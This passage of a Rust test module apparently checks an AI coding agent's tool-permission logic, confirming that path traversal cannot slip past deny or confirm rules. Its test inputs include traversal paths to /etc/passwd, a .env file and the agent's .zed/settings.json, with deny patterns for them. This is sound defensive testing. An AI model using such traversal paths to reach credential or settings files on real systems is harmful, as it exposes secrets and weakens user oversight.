2008 most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2009 ToolPermissionDecision::Allow
2010 );
2011 }
2012
2013 #[test]
2014 fn decide_permission_for_path_no_dots_early_return() {
2015 // When the path has no `.` or `..`, normalize_path returns the same string,
2016 // so decide_permission_for_path returns the raw decision directly.
2017 let settings = test_agent_settings(ToolPermissions {
2018 default: ToolPermissionMode::Confirm,
2019 tools: Default::default(),
2020 });
2021 let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2022 assert_eq!(decision, ToolPermissionDecision::Confirm);
2023 }
2024
2025 #[test]
2026 fn decide_permission_for_path_traversal_triggers_deny() {
2027 let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2028 let mut tools = collections::HashMap::default();
2029 tools.insert(
2030 Arc::from(EditFileTool::NAME),
2031 ToolRules {
2032 default: Some(ToolPermissionMode::Allow),
2033 always_allow: vec![],
2034 always_deny: vec![deny_regex],
2035 always_confirm: vec![],
2036 invalid_patterns: vec![],
2037 },
2038 );
2039 let settings = test_agent_settings(ToolPermissions {
2040 default: ToolPermissionMode::Confirm,
2041 tools,
2042 });
2043
2044 let decision =
2045 decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2046 assert!(
2047 matches!(decision, ToolPermissionDecision::Deny(_)),
2048 "expected Deny for traversal to /etc/passwd, got {:?}",
2049 decision
2050 );
2051 }
2052
2053 #[test]
2054 fn normalize_path_collapses_dot_segments() {
2055 assert_eq!(
2056 normalize_path("src/../.zed/settings.json"),
2057 ".zed/settings.json"
2058 );
2059 assert_eq!(normalize_path("a/b/../c"), "a/c");
2060 assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2061 assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2062 assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2063 assert_eq!(normalize_path("a/b/c"), "a/b/c");
2064 }
2065
2066 #[test]
2067 fn normalize_path_handles_multiple_parent_dirs() {
2068 assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2069 assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2070 }
2071
2072 fn path_perm(
2073 tool: &str,
2074 input: &str,
2075 deny: &[&str],
2076 allow: &[&str],
2077 confirm: &[&str],
2078 ) -> ToolPermissionDecision {
2079 let mut tools = collections::HashMap::default();
2080 tools.insert(
2081 Arc::from(tool),
2082 ToolRules {
2083 default: None,
2084 always_allow: allow
2085 .iter()
2086 .map(|p| {
2087 CompiledRegex::new(p, false)
2088 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2089 })
2090 .collect(),
2091 always_deny: deny
2092 .iter()
2093 .map(|p| {
2094 CompiledRegex::new(p, false)
2095 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2096 })
2097 .collect(),
2098 always_confirm: confirm
2099 .iter()
2100 .map(|p| {
2101 CompiledRegex::new(p, false)
2102 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2103 })
2104 .collect(),
2105 invalid_patterns: vec![],
2106 },
2107 );
2108 let permissions = ToolPermissions {
2109 default: ToolPermissionMode::Confirm,
2110 tools,
2111 };
2112 let raw_decision = ToolPermissionDecision::from_input(
2113 tool,
2114 &[input.to_string()],
2115 &permissions,
2116 ShellKind::Posix,
2117 );
2118
2119 let simplified = normalize_path(input);
2120 if simplified == input {
2121 return raw_decision;
2122 }
2123
2124 let simplified_decision =
2125 ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2126
2127 most_restrictive(raw_decision, simplified_decision)
2128 }
2129
2130 #[test]
2131 fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2132 let decision = path_perm(
2133 "copy_path",
2134 "src/../.zed/settings.json",
2135 &["^\\.zed/"],
2136 &[],
2137 &[],
2138 );
2139 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2140 }
2141
2142 #[test]
2143 fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2144 let decision = path_perm(
2145 "copy_path",
2146 "src/../.zed/settings.json",
2147 &[],
2148 &[],
2149 &["^\\.zed/"],
2150 );
2151 assert!(matches!(decision, ToolPermissionDecision::Confirm));
2152 }
2153
2154 #[test]
2155 fn decide_permission_for_path_allows_when_no_traversal_issue() {
2156 let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2157 assert!(matches!(decision, ToolPermissionDecision::Allow));
2158 }
2159
2160 #[test]
2161 fn decide_permission_for_path_most_restrictive_wins() {
2162 let decision = path_perm(
2163 "copy_path",
2164 "allowed/../.zed/settings.json",
2165 &["^\\.zed/"],
2166 &["^allowed/"],
2167 &[],
2168 );
2169 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2170 }
2171
2172 #[test]
2173 fn decide_permission_for_path_dot_segment_only() {
2174 let decision = path_perm(
2175 "delete_path",
2176 "./.zed/settings.json",
2177 &["^\\.zed/"],
2178 &[],
2179 &[],
2180 );
2181 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2182 }
2183
2184 #[test]
2185 fn decide_permission_for_path_no_change_when_already_simple() {
2186 // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2187 let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2188 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2189 }
2190
2191 #[test]
2192 fn decide_permission_for_path_raw_deny_still_works() {
2193 // Even without traversal, if the raw path itself matches deny, it's denied
2194 let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2195 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2196 }
2197
2198 #[test]
2199 fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2200 let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2201 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2202 }
2203}